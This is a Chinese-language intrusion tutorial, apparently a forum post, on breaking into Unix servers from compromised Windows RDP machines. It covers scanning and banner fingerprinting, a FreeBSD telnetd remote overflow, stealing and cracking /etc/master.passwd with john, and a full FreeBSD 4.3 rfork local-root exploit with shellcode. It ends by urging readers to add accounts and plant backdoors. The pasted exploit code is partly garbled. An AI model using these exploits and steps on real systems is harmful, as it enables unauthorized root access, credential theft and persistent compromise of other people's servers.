为什么说是我和x-laser一起找漏洞服务器呢?因为我们的一切操作全部是在3389漏洞服务器上进行的。首先我们都上到同一个终端,(前提:终端是对方开的,而不是你自己做的,这样才有终端服务管理器可用)然后用管理工具中的终端管理进行id切换(选择用户进行连接)
这样,两个人就可以互相控制对方了,一举一动都很清楚,这种方法很好,大大提高了效率,也增加了入侵时的乐趣。建议大家推广 :)
下面我们开始工作。由于是在win上搞unix类,所以我们最好要有在win上用的exploit,以得到第一台unix漏洞服务器。关于在win上用的exploits可以用cygwin编译(在www.isfocus.com)有下载。或者直接去大鹰的主页(e4gle.org)或者红客技术联盟(www.cnhonker.net/old.php)下载,注意了,要一起下那个cygwin1.dll的文件,不然搞不成。
现在我们要做的是找出大量unix的漏洞服务器,然后再去找漏洞,但是怎么找呢?这时候,就请出了我们的languard network scanner,在做了简单的设置让他跑的快点后,我们就开始扫描
我们看到有一台freebsd,这个系统比较好欺负,因为前段时间有个沸沸扬扬的telnetd远程溢出漏洞。当然我们也可以用superscan来快速判断操作系统.我们用superscan扫23端口,因为telnet上去一般都有banner,从而得知操作系统类型.如下
我们扫到了两台linux,….. ..#..’是linux的判断符.
……..#..’..则是sunos的判断符,如此等等,大家用用就有经验了.
言归正转,来看我们的freebsd.我们在红盟下好bsd.exe和cygwin1.dll后,就开始溢出了。
由于要发送16M的东西,所以可能会慢点
等到成功后,会出现 command ?
这是输入 id
可以看到自己已经成为root了。当然,大家还可以把shadow抓下来,bsd下的sh
adow文件是/etc/master.passwd,然后john跑个用户名出来(在www.xfocus.net有john的windows下的版本下载,也是用cygwin编译的),再telnet上去,就得到了普通帐号(因为root帐号一般比较难破),再进行本地溢出。为什么要这么麻烦呢?因为我们远程得到的shell很多都没有回显,所以不方便添加帐号。一般在bsd下添加帐号是在/usr/sbin下执行./adduser ,然后按着提示做就可以了,bsd系统很稳定,很多大型网站都是用这个建站,比如红盟。本地溢出的代码我在这里贴一下
?受影响版本: FreeBSD 4.3 4.2 4.1 4.0
早期版本也许受影响 测试程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c netdemon%cp /bin/sh /tmp netdemon%./vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done #
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。
题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。 利用此漏洞,本地攻击者能取得 root 权限。 vvfreebsd.c
/* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski
p/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"
); while(42); }
/*
可以找到可写的地方,然后cat >vv.c 回车
(鼠标右健粘贴)
ctrl + d保存
gcc –o vv vv.c编译(gcc在solaris和aix等系统下叫做cc)
cp /bin/csh /tmp
./vv
这样就执行了,一般可以得到root.注意第二句,这是代码的需要
然后就去adduser然后再放一堆后门上去吧
几点补充:1.命令w查看当前哪些在线,要是看见root就要小心了
【编辑推荐】